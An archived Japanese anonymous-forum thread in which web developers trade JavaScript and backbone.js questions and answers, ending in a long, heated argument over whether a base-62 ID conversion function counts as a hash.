432 名前:Name_Not_Found mailto:sage [2014/12/12(金) 19:39:02.71 ID:???.net]
stackoverflow.com/questions/17224279/should-i-use-the-underscore-compatible-build-of-lo-dash-when-using-it-with-backb

ここを見るとbackbone.jsに普通のlodashを使ってもほぼ問題ないようですね

433 名前:Name_Not_Found mailto:sage [2014/12/13(土) 00:56:04.61 ID:???.net]
質問です。
<dl>
<dt>dt 1
<dd>dd 1
<dl>
<dt>dt 1-1
<dd>dd 1-1
</dl>
<dt>dt 2
<dd>dd 2
</dl>
一番外の dl 直下の dt のみを取得したいと思います。つまり、「dt 1」と「dt 2」を取得したいです。
しかし以下のコードで取得しようとすると、「dt 1-1」まで取得してしまいます。当たり前と言えば当たり前ですが。
elm.querySelectorAll("dt"); //(elmは一番外のdl要素です)
もちろん、取得した後にフィルターを掛ければいい話ですが、あまりスマートではありません。
querySelectorAll()で一発で「dt 1」と「dt 2」を取得する方法はありますか?

434 名前:Name_Not_Found mailto:sage [2014/12/13(土) 10:12:46.95 ID:???.net]
childNodes[childNodes.length-1]

435 名前:Name_Not_Found mailto:sage [2014/12/13(土) 10:48:32.28 ID:???.net]
>>427
dl直下のdtというのなら、dl > dtでいいんじゃないの?
querySelectorAllがどこまで対応しているかしらないけど、
ブラウザによって動きは違うかもね。

こういう場合はjQueryを使ったら、古いブラウザ含めて対応できるよ。

436 名前:Name_Not_Found mailto:sage [2014/12/13(土) 11:39:08.98 ID:???.net]
>>429
dt 1-1もdlの直下なのでダメだね
最上位のdlが特定できればいいんだけど
idとかついてないの?

437 名前:名無しさん@そうだ選挙に行こう mailto:sage [2014/12/13(土) 17:58:14.07 ID:???.net]
>>429
ありがとうございます。
確かにjQueryでしたら簡単に実装できますね。ライブラリの使用も視野に入れてみます。

>>430
ループ処理しているので、唯一に特定できるidなどは何もついていません…。
elmに代入されているということだけが唯一の情報です。
やはりフィルター処理しかないでしょうか。

438 名前:名無しさん@そうだ選挙に行こう mailto:sage [2014/12/14(日) 09:07:12.58 ID:???.net]
querySelectorAllの前後でidの付け外しをするとか
(上書きのことを考えるとclassの方がいいか)

でもまあフィルタがいいと思うけど
jQueryにするんなら.filter() で結構簡単に書ける

439 名前:名無しさん@そうだ選挙に行こう mailto:sage [2014/12/14(日) 16:24:43.80 ID:???.net]
backbone.jsでは、イベントハンドラはviewに付けますが
モデルと関係ないようなイベントハンドラはどこで付ければいいんでしょう?
たとえば画面全体に対するmousemoveなど。
イベントハンドラを付けるために画面全体用のviewも作るんでしょうか?
それもなんか無駄な感じがします

440 名前:名無しさん@そうだ選挙に行こう mailto:sage [2014/12/14(日) 18:22:46.55 ID:???.net]
普通のMVCとかだとレイアウトやヘルパー、パーシャルなオブジェクトってのがあるんだから
(ってもCakeしかやった事ねーけどw)そーいう差し込み可能なユーティリティーってのが
backbone.jsにもあるんじゃね?知らんけどw
知らんからこれ以上はひっこむわw



441 名前:名無しさん@そうだ選挙に行こう mailto:sage [2014/12/14(日) 18:35:26.65 ID:???.net]
backbone.jsに同梱しているサンプルアプリを見ると
全体を包含するDOM要素をAppViewとして
var App = new AppView;
でアプリケーション自体を起動する感じでした

442 名前:名無しさん@そうだ選挙に行こう mailto:sage [2014/12/14(日) 18:51:32.90 ID:???.net]
じゃあそれ拡張してアタッチすりゃあいいのかな?
あ、出てきちゃったw

443 名前:名無しさん@そうだ選挙に行こう mailto:sage [2014/12/14(日) 18:53:32.81 ID:???.net]
ですね
サーバサイドMVCのコントローラっぽい感じです

444 名前:Name_Not_Found mailto:sage [2014/12/15(月) 15:12:50.28 ID:???.net]
backbone.jsのviewにeventsでイベントを設定する時
セレクタにwindowを設定することは出来ないのでしょうか?
出来ないとすると、eventsで設定したり、自前で設定したりして美しくないですよね
eventsの設計ミスとしか思えませんがどうなのでしょうか

445 名前:Name_Not_Found mailto:sage [2014/12/15(月) 15:14:29.61 ID:???.net]
セレクタにwindowを設定するという
設計がミスなんだろ。

446 名前:Name_Not_Found mailto:sage [2014/12/15(月) 15:23:25.27 ID:???.net]
実際にwindowにイベントハンドラをセットする必要があるので設計ミスではありませんが?
でもevents=viewが所有するDOMに付けるイベントを管理するもの、
と考えたら別にアグリーでもないかもしれません
ありがとうございました

447 名前:Name_Not_Found mailto:sage [2014/12/17(水) 09:48:29.86 ID:???.net]
backbone.jsにはコントローラがないので
それだとviewがやたらでかくなるのでは?
それともコントローラ的な部分は自前で用意するのか?
と悩んでいたのですがコントローラなどを用意したマリオネットっていうやつがあるようです
プレーンなbackboneではなくmarionnetteの方を使うのが今の感じなんですかね?

448 名前:Name_Not_Found mailto:sage [2014/12/17(水) 11:26:57.98 ID:???.net]
振分けられる処理は極力ModelやCollectionに振分けましょうって
思想みたいだけどようワカランね。
Routerは大した仕事はしなさそうだし。

サーバーサイドのMVCモデルのように間に何かが入る必要があるか?
を考えてみた方がよいのかも。

449 名前:Name_Not_Found mailto:sage [2014/12/17(水) 12:48:17.23 ID:???.net]
やっぱコントローラーとしての役割はRouterぐらいしか見当たらないな

サーバーMVCのView間の遷移なんてものが無いから出番もそんなに無いって事なのかも

450 名前:Name_Not_Found mailto:sage [2014/12/17(水) 13:24:46.31 ID:???.net]
質問です。Unix系のファイルで正規表現を書くときに
バックスラッシュを使いますが、これはWindowsで読む
とエラーになりますよね。あちらは\らしいですが、
どう回避してるのでしょうか?



451 名前:Name_Not_Found mailto:sage [2014/12/17(水) 13:32:03.87 ID:???.net]
なりませんよ

452 名前:Name_Not_Found mailto:sage [2014/12/17(水) 15:14:30.78 ID:???.net]
ファイル名じゃないから関係ないね

453 名前:Name_Not_Found [2014/12/18(木) 18:43:47.24 ID:ChiIDXGI.net]
チェックボックスのラベルを変更するにはどうすればよいでしょうか?
jQueryは使わずにおこないたいです。

<input type="checkbox" id="chk1" name="chk" value="1">
<label for="chk1">aaa</label>

のaaaをbbbに変えたいのですが
document.getElementById("chk1").innerText="bbb";ではダメなようで。

454 名前:Name_Not_Found mailto:sage [2014/12/18(木) 20:34:00.69 ID:???.net]
ラベルにidフルか、nextsibiling

455 名前:Name_Not_Found mailto:sage [2014/12/18(木) 21:26:37.86 ID:???.net]
ちなみにinnerTextはFirefoxで使えないから注意ネ

456 名前:Name_Not_Found mailto:sage [2014/12/18(木) 21:45:12.50 ID:???.net]
標準の textContent や data 属性を差し置いて
やたら innerText を見かけるけど何でなん?

457 名前:Name_Not_Found mailto:sage [2014/12/18(木) 22:01:58.41 ID:???.net]
ヒント:企業グラマー&ユーザー

458 名前:Name_Not_Found mailto:sage [2014/12/18(木) 23:08:48.81 ID:???.net]
>>450
IEのサポートが9からだから。

IE8のサポート期間が2016年1月12日だから
あと1年は対応が必須。

その期間を過ぎたらすぐにIE8のサポートをうちきって
いいのか?って話はあるが。

459 名前:Name_Not_Found [2014/12/18(木) 23:32:11.70 ID:xIB+P02h.net]
jQuery 2.1.2リリース!
https://github.com/jquery/jquery/releases

460 名前:Name_Not_Found mailto:sage [2014/12/19(金) 07:33:09.51 ID:???.net]
SHIFT+ENTERのキーコードが13でENTERになっているのですが
SHIFT押しながらENTERおしたときと
単にENTERを押した時の区別って出来ますか?



461 名前:Name_Not_Found [2014/12/19(金) 09:18:33.62 ID:+jAv/pOh.net]
>>448
>>449
ありがとうございます。
idをふったらできました。

document.getElementById("chk1").nextSibling.textContent = "bbb";
のほうは、aaa → bbbaaa になってしまいました・・・
使い方が違うんでしょうね ^^;

462 名前:Name_Not_Found mailto:sage [2014/12/19(金) 10:45:26.13 ID:???.net]
innerTextとtextContentは若干挙動が違うらしい
支障が無ければinnerHTMLを使ったほうが良いらしい

463 名前:Name_Not_Found mailto:sage [2014/12/19(金) 10:48:09.53 ID:???.net]
>>454
引数を渡すようにすればその中に入ってるはずだ

ttp://so-zou.jp/web-app/tech/programming/javascript/event/handler/key/#no3

464 名前:Name_Not_Found mailto:sage [2014/12/19(金) 11:13:03.94 ID:???.net]
>>457
そのようなプロパティがあったのですね
動作も確認いたしました
どうもありがとうございます

465 名前:Name_Not_Found mailto:sage [2014/12/19(金) 11:44:55.50 ID:???.net]
>>455
まだいるか分からないけど訂正すると
.nextSibling.textContent = "bbb"; で 「bbbaaa」 になるのは、<input>と<label>の間を改行しているせいで 改行だけのテキストノードが存在から。

つまり、<input>と<label>の間を改行しなければ .nextSibling.textContent = "bbb"; で可能
例1:<input type="checkbox" id="chk1" name="chk" value="1"><label for="chk1">aaa</label>
例2:<input type="checkbox" id="chk1" name="chk" value="1"
><label for="chk1">aaa</label>

または、HTMLを変えずに、nextElementSibling.textContent = "bbb"; でもおk

466 名前:Name_Not_Found [2014/12/19(金) 13:00:46.02 ID:+jAv/pOh.net]
>>456
>>459
ありがとうございます。
勉強になります。

467 名前:Name_Not_Found [2014/12/22(月) 21:51:12.61 ID:r9xSRLJj.net]
Google Maps API V3を使ってカスタマイズしています。

テキストフォーム一つに検索ボタンです。
改行、Enterキーを押して実行できるようにしたいです。

form onsubmit="script()"
input type=text
input type=submit

これだと検索できません。

form
input type=text
input type=button onclick=script()
だとボタンクリックで検索ができますが、Enterキーでは検索できません。

どうしたら良いのでしょうか?

468 名前:Name_Not_Found mailto:sage [2014/12/22(月) 22:15:17.26 ID:???.net]
>>461
form onsubmit="script();event.preventDefault()"
input type=text
input type=submit
で、どうだ

469 名前:461 mailto:sage [2014/12/22(月) 22:27:49.48 ID:???.net]
>>462
ありがとう!できました。

470 名前:Name_Not_Found mailto:sage [2014/12/28(日) 19:09:58.56 ID:???.net]
var a = new Array1();
a[3].x = 1;
a[7].y = 2;
上のようにできる、プロパティの付いた配列のクラスらしきものを実現したいのですが
どのようにすればできるでしょうか?
変数のプロパティだけでいいなら
var foo = new Foo();
function Foo()
{
this.x = null;
this.y = null;
}
みたいな感じにはなると思うのですが・・・



471 名前:Name_Not_Found mailto:sage [2014/12/28(日) 22:42:49.38 ID:???.net]
>>464
配列の初期長を決めて、あらかじめインスタンスを必要個数分だけ作っておくのはどう?
function Foo(){
this.x = null; this.y = null;
}
function Array1(len){
for(var i=0;i<len;i++) this[i] = new Foo();
}
var a = new Array1(8); //[0]~[7]のFooのインスタンス配列
a[3].x = 1;
a[7].y = 2;

472 名前:464 mailto:sage [2014/12/28(日) 22:54:22.94 ID:???.net]
>>465
システムの構成上配列が結構大きく、配列の長さが場合によって結構変化するので
初期に作る方法以外のものがもしあれば、と思ったのですが
やっぱり現実的にはそうなってしまうのでしょうかね・・・

473 名前:Name_Not_Found mailto:sage [2014/12/29(月) 00:12:26.93 ID:???.net]
>>466
なるほど、配列の長さが変化するのなら、>>465はオススメできないね

その条件なら、毎回正直にインスタンスを作るのが普通だろうなあ
function Foo(){
this.x = null; this.y = null;
}
var a = new Array(); //ただの配列
if(!(3 in a)) a[3] = new Foo();
a[3].x = 1;
if(!(7 in a)) a[7] = new Foo();
a[7].y = 2;
この処理は面倒だから関数化するといいかも

あるいは、配列でなくていいなら一次元的に格納するか
var a = new Object(); //ただのオブジェクト
a["3x"] = 1;
a["7y"] = 2;

あるいは、Firefox限定で構わないなら、Proxyを使うという方法もある

474 名前:464 mailto:sage [2014/12/29(月) 11:06:39.64 ID:???.net]
>>467
inとかよく分かってないのでちょっとまた調べてみます。
ご丁寧に色々な案を提示して下さってありがとうございました。

475 名前:Name_Not_Found mailto:sage [2014/12/29(月) 12:13:37.73 ID:???.net]
>>466
疑似配列の長さ(length)の得たいなら Object.defineProperty で出来ると思う

>>468
この場合は Object#hasOwnProperty がいいかな

476 名前:464 mailto:sage [2015/01/02(金) 10:45:11.06 ID:???.net]
>>469すみません気付いていませんでした
ただ、まだ疑似配列作っていろいろするほどの力も時間も今はなさそうなので
とりあえず初期に作成する方法でやってみます
一段落したら挙げてもらったものを調べてみようと思います
ありがとうございました。

477 名前:Name_Not_Found [2015/01/05(月) 00:09:08.26 ID:vo7XD6Y+.net]
10進数の連番IDをhash化したいと思い調べていたところ、
下記の関数を見つけました。
この関数は衝突なく安全に利用できますか?
理解できる方は、各処理の解説もして頂ければ助かります。。。


var shuffleTable = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61];

var create62Hash = function(id, shuffleTable) {
var asciiTable = [65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57];
var hashTable = new Array();
var i = 0;
do {
hashTable[i] = String.fromCharCode(asciiTable[shuffleTable[(Math.floor(id / Math.pow(62, i)) + i) % 62]]);
i = hashTable.length;
} while(Math.pow(62, i) <= id)
return hashTable.join("");
}

478 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:15:33.79 ID:???.net]
引用するなら引用元のページも欠くのが最低限コードを書いた人への礼儀だぞ

479 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:35:44.49 ID:???.net]
>>471
ハッシュ化したいならその関数は使えません。
なぜならハッシュ化してないからです。

480 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:40:43.91 ID:???.net]
>>471
ただの10進数⇒62進数変換



481 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:43:52.51 ID:???.net]
しかも無駄な処理をしていてさらに言えば遅い

482 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:44:07.18 ID:???.net]
473
お前はまずハッシュの定義について勉強しなおしてこい

483 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:46:17.29 ID:???.net]
暗号学的なhashもあれば、単にデータを区別する値もhashと言うよな

484 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:51:58.29 ID:???.net]
何の目的に使うのか知らんが、それを読む限り、10進数を62進数にしているように見える。
若干並びを入れ替えているみたいだが。
単純すぎてパスワード保存用とかには使えないぞ。
ちゃんとしたハッシュアルゴリズムを実装すべきだと思うが。

485 名前:Name_Not_Found mailto:sage [2015/01/05(月) 00:58:36.82 ID:???.net]
10進数⇒62進数変換ではなかったな。
62進数に近い何かをやってる

486 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:10:24.46 ID:???.net]
>>476
これでいーですかー?w
e-words.jp/w/E3838FE38383E382B7E383A5E580A4.html

> 元になるデータから一定の計算手順により求められた、【規則性のない固定長の値。】
> その性質から暗号や認証、データ構造などに応用されている。ハッシュ値を求めるための
> 計算手順のことをハッシュ関数、要約関数、メッセージダイジェスト関数などという。
>
> 【ハッシュ値は元のデータの長さによらず一定の長さとなっており】、同じデータからは必ず同じハッシュ値が得られる一方、
> 【少しでも異なるデータからはまったく異なるハッシュ値が得られる。】
> 【不可逆で情報量の欠損を含む計算過程を経るため、ハッシュ値から元のデータを復元することはできない。】
>
> また、【元のデータよりハッシュ値の方が短い場合(実用上はほとんどの場合が該当する)】、
> 複数の異なるデータから同じハッシュ値が生成される(ハッシュ値の衝突)ことになるが、
> あるデータとそのハッシュ値から、【同じハッシュ値を持つ別のデータを効率よく探索することはできない。】

よってハッシュではありません。

反論あるならどうぞ?

487 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:10:26.64 ID:???.net]
これは最小完全ハッシュ関数だな
shuffleTableをその名の通りシャッフルすれば、shuffleTable毎に一意性のある値が算出されるんじゃね
ただ、確証は無い。衝突の有無は知らん

488 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:15:21.48 ID:???.net]
ちなみに整数を文字列にしているので、
元のデータ量よりもハッシュ値(と称する別のもの)
の方が多くなっている。

489 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:18:55.95 ID:???.net]
>>480
wikipediaくらい見てくれば?反論できないのは君の方と気付くよ

490 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:24:44.17 ID:???.net]
Wikipediaの最小完全ハッシュ関数例を見てもわかるように
最小完全ハッシュ関数は、John Smith -> 1, Lisa Smith -> 0, Sam Doe -> 3, Sandra Dee -> 2
という風に、データが小さくなっているからハッシュなんですよ?

ただの進数変換もどきは逆にデータ量が大きくなっていて
なんのためにあるのかさっぱりわかりませんw



491 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:28:02.56 ID:???.net]
>>484
その結果はただの例だろ
自分で自分の低脳さをさらけ出してるぞ

492 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:30:52.15 ID:???.net]
なお、create62Hash(0,shuffleTable)がA
なお、create62Hash(1,shuffleTable)がB
なお、create62Hash(2,shuffleTable)がC
とハッシュにありまじき予測可能な順番で並んでいるのは
進数変換だからいいとして

create62Hash(61,shuffleTable)が9
create62Hash(62,shuffleTable)がAC

となっており、AAじゃない所を見ると
バグってますねこれ。

493 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:32:05.41 ID:???.net]
>>485
反論しろよw

例が示すものは、俺が言っているとおりだと認めてるのに、
なんで俺が低能になってるんだよw

494 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:33:40.74 ID:???.net]
shuffleTableを変更すればランダムになるというのは
間違いです。

0〜9、A-Z、a-zの文字がそれぞれ置き換わるだけで、
順番はランダムになっていません。

これもハッシュではないことの根拠の一つです。

495 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:36:31.86 ID:???.net]
大元はこれ、
workline.xii.jp/texts/oneday_url/
> やってることは進数変換と一緒で、62進で1ケタずつ値を見て、
> それをchr()で対応する文字に変換しています。

やってることは進数変換と一緒と書いてあるとおり
名前がおかしいだけの話です。

やってることが進数変換なら
進数変換(+文字単純置換)です

496 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:39:28.25 ID:???.net]
>>487
だからお前は理解できてないって言ってるだろ
馬鹿に間違いを指摘してるわけ
けど、馬鹿にわざわざ解説して教える気はない

497 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:43:05.41 ID:???.net]
結局、何も言い返せていない(笑)

498 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:48:02.17 ID:???.net]
wikipediaより
>あるデータが与えられた場合にそのデータを代表する数値を得る操作、
>または、その様な数値を得るための関数のこと。ハッシュ関数から得られた数値のことを要約値やハッシュ値または単にハッシュという。

と定義されてる
つまり、データとハッシュ値が結びつくなら固定長である必要も、元の文字より大きくなっても問題ない
単なる進数変換でも広い意味でハッシュと言える

499 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:50:50.07 ID:???.net]
>>492
完全論破ワロタ
このスレにはwikipediaの最初の文も読めない奴がいるのか・・・

500 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:51:48.96 ID:???.net]
> あるデータが与えられた場合にそのデータを代表する【数値を】

数値ではないのでハッシュ変換ではありません



501 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:52:28.71 ID:???.net]
>>492-493
バレバレな自作自演をみたw

502 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:53:07.88 ID:???.net]
>

503 名前:>494
>>471 の関数は数字を出して、それを文字に置き換えてるでしょ
そんな事もわかってないの?
[]
[ここ壊れてます]

504 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:56:18.97 ID:???.net]
>>496
数字じゃなくて数値な。
数字というのは数の並び。そこに大小の順番はない。
数値というのは、大小の順番があるもの
違いぐらいわかろうぜ。

505 名前:Name_Not_Found mailto:sage [2015/01/05(月) 01:57:05.53 ID:???.net]
>>497
じゃあ訂正する、数値ね
それで、反論は?

506 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:04:25.06 ID:???.net]
create62Hashは入力された引数の数値を
何の処理もせずに、単純に文字列に進数変換しているので
ハッシュ処理としては何もしていません。

507 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:10:35.34 ID:???.net]
499
定義の範囲内でハッシュと呼べるけど?
反論出来てない
間違いを認められないと本当の馬鹿だぞ

508 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:11:47.11 ID:???.net]
お前の出してきた定義はことごとく論破してやったが?

もう根拠残ってねーだろ。

反論しないならレスしなくていいんだよ?

509 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:12:24.33 ID:???.net]
>>499
定義の範囲内ではハッシュです
はい、論破

510 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:14:36.12 ID:???.net]
>>501
お前だけ誤りを叫んでる事にまだ気付いてないの?



511 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:17:24.55 ID:???.net]
反論しないならレスしなくていいんだよ?

って何回言わせるんだw

512 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:18:14.45 ID:???.net]
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ

何回言えばわかるニダか?

定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ


嘘を何回行っても真実にはなりません。

513 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:18:49.68 ID:???.net]
499 Name_Not_Found sage New! 2015/01/05(月) 02:04:25.06 ID:???
create62Hashは入力された引数の数値を
何の処理もせずに、単純に文字列に進数変換しているので
ハッシュ処理としては何もしていません。



ハッシュと呼べます、以上
何か言いたい事ある?

514 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:19:15.92 ID:???.net]
> ハッシュ関数 (ハッシュかんすう、hash function) あるいは要約関数とは、
> あるデータが与えられた場合にそのデータを代表する数値を得る操作、
> または、その様な数値を得るための関数のこと。

どこにも進数変換がハッシュだとは書いてないが?

515 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:20:30.36 ID:???.net]
>>506
何も処理してないなら、ハッシュじゃないのでは?
ハッシュの根拠は何よ?

516 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:21:13.66 ID:???.net]
>>507
2行目
文盲か?

517 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:22:25.54 ID:???.net]
>>509
なら数値を得ていないから
ハッシュではないですね。

518 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:23:03.95 ID:???.net]
どう見てもデータをに対する数値は得てるよな
理解してないうえに
顔真っ赤にして必死だな

519 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:23:19.66 ID:???.net]
悔しかったら、Wikipedia改ざんしてこいよw
数値を数字に全置換するだけで満足できるだろ?w

520 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:23:35.37 ID:???.net]
はい、逃げた



521 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:24:13.84 ID:???.net]
>>511
> どう見てもデータをに対する数値は得てるよな

どこに計算によって数値は出てきてないですね。
ただ入力された数値を文字に変換しているだけです。

522 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:25:45.91 ID:???.net]
そもそも入力データが数値しか受け付けない時点で
ハッシュじゃないわなw

その数値も整数値しか扱えないという
(数値の最大値を超えるとバグる)

523 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:25:52.21 ID:???.net]
>悔しかったら、Wikipedia改ざんしてこいよw

ねぇ、反論は?

524 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:26:59.58 ID:???.net]
>>515
え? 普通ハッシュって言ったら
文字や任意のバイナリを数値に計算するものでしょう?
ファイル入力できないんですか?
そんなもの使いものにならないでしょ。

525 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:27:25.11 ID:???.net]
あるデータとはすべてのデータという意味ではありません
日本語も理解できないのかな?

526 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:27:53.16 ID:???.net]
>>516
反論はしません。

だって数値を算出していないから
ハッシュじゃないもの。

はい論破w

527 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:28:43.02 ID:???.net]
まあどう見てもハッシュじゃないよなw

528 名前:Name_Not_Found [2015/01/05(月) 02:29:33.40 ID:VxoaMy9m.net]
ただの基数変換をハッシュ計算だと
言い張っているアホが居るスレはここですか?

529 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:29:37.19 ID:???.net]
こんな簡単なコードすら読めないのか・・・
テーブルのキーが数値で、その数値を文字にしてるのにね

530 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:30:06.89 ID:???.net]
おやおや、こんな深夜にw
明日仕事じゃないの?
ニートは羨ましいですなw



531 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:30:38.42 ID:???.net]
523 Name_Not_Found sage New! 2015/01/05(月) 02:30:06.89 ID:???
おやおや、こんな深夜にw
明日仕事じゃないの?
ニートは羨ましいですなw


自己紹介かな?

532 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:30:44.17 ID:???.net]
こんな簡単なコードすら読めないのか・・・
テーブルのキーが数値で、その数値を文字にしてるだけで
ただの置換でハッシュ計算は何もしてないのに

533 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:31:25.29 ID:???.net]
ニートだからハッシュというものを理解できないのか
ハッシュを理解できないからニートなのか。
まあどっちでもいいやw

534 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:32:05.47 ID:???.net]
>>521
ここです

535 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:32:48.08 ID:???.net]
>>525
その数値は同じ結果が生まれます
どう見てもハッシュです

536 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:33:02.67 ID:???.net]
ここまで必死なのは、あの関数の作者かいな?w
ハッシュ関数ではないと言われたのが
よっぽどショックだったのか?

537 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:33:38.18 ID:???.net]
>>528
ハッシュの定義に当てはまっていない。

反論は?

538 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:33:51.72 ID:???.net]
つまり、定義にあるデータに対する数値を得られてるわけ
わかるかな?ん?

539 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:34:58.69 ID:???.net]
データに対する数値を得られている?

じゃあ例えば65を入力したときの
数値はなんですか?

答えるのは簡単でしょう?

数値で答えてください。

540 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:35:38.13 ID:???.net]
>>530
当てはまってるね

お前さっきから間違った反論しかしてないぞ



541 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:36:13.43 ID:???.net]
>>532
それ、とどめだろw

ぜってー答えらんないってw

542 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:37:03.68 ID:???.net]
>>532
このレスでお前がコードを理解していないことがよくわかった

543 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:37:31.09 ID:???.net]
少し質問が曖昧だったかな?

データに対する数値を得られている?

じゃあ例えば65というデータを入力したときに
得られる数値はなんですか?

答えるのは簡単でしょう?

数値で答えてください。

544 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:40:19.75 ID:???.net]
>>536
スクリプト出てるのにそんな事もわからないの?
馬鹿すぎる

545 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:41:10.02 ID:???.net]
例えば、Wikipediaの例から

John Smith -> 1
Lisa Smith -> 0
Sam Doe -> 3
Sandra Dee -> 2

というようにハッシュであるならばデータに対する数値を得られているわけさ

> ハッシュ関数 (ハッシュかんすう、hash function) あるいは要約関数とは、
> あるデータが与えられた場合にそのデータを代表する数値を得る操作

なのだから、数値を得られるわけだね。

それでcreate62Hash によって
65というデータを入力したときに
得られる数値はなんですか?

546 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:42:15.04 ID:???.net]
>>537
分かった! 数値は得られなかった!
これが答えなんだから仕方ない。
認めるしかないな。ハッシュではないと。

547 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:42:52.23 ID:???.net]
>>538
ただの例にしがみついて必死だな
さっきからお前の反論は間違ってばかり

548 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:43:16.89 ID:???.net]
>>540
いいから、数値を答えろよ(笑)

549 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:43:59.08 ID:???.net]
>>541

>>539
> >>537
> 分かった! 数値は得られなかった!
> これが答えなんだから仕方ない。
> 認めるしかないな。ハッシュではないと。

550 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:45:18.87 ID:???.net]
横ヤリだが、65の数値は65でしょ
それを文字に変換してる
数値連呼してる奴って馬鹿?



551 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:46:19.42 ID:???.net]
>>541
思い込みが激しくて間違いという事に気付けない
これぞ馬鹿の典型だな

552 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:46:30.57 ID:???.net]
>>543
文字に変換しているだけなら
ハッシュではないよ。

553 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:46:59.48 ID:???.net]
>>544
そんな捨て台詞はいらないからさw
説明できない人は引っ込んでいたら?

554 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:47:09.88 ID:???.net]
それをハッシュと言うんだよ、理解できないのかな?

555 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:47:47.88 ID:???.net]
そのうち+1するだけの関数でも
ハッシュ関数だって言いそうだなw

556 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:48:12.92 ID:???.net]
>>547
いういう連呼しても、ハッシュ関数にはなりませんよ。

557 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:48:50.46 ID:???.net]
>>545
いや、単に文字に変換してるわけじゃないでしょ
冷静になってみ?

558 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:48:53.62 ID:???.net]
>>548
マジいいそうで困る。
そこまで馬鹿ではないと思いたいがwww

559 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:50:14.19 ID:???.net]
>>550
コード読めないの?単に文字に変換しているだけだよ。
文字の順番が数値の順番通りじゃないってだけ。

単一換字式暗号ともいう。

560 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:51:25.94 ID:???.net]
これまでの色んなレスで散々結論出てるのに
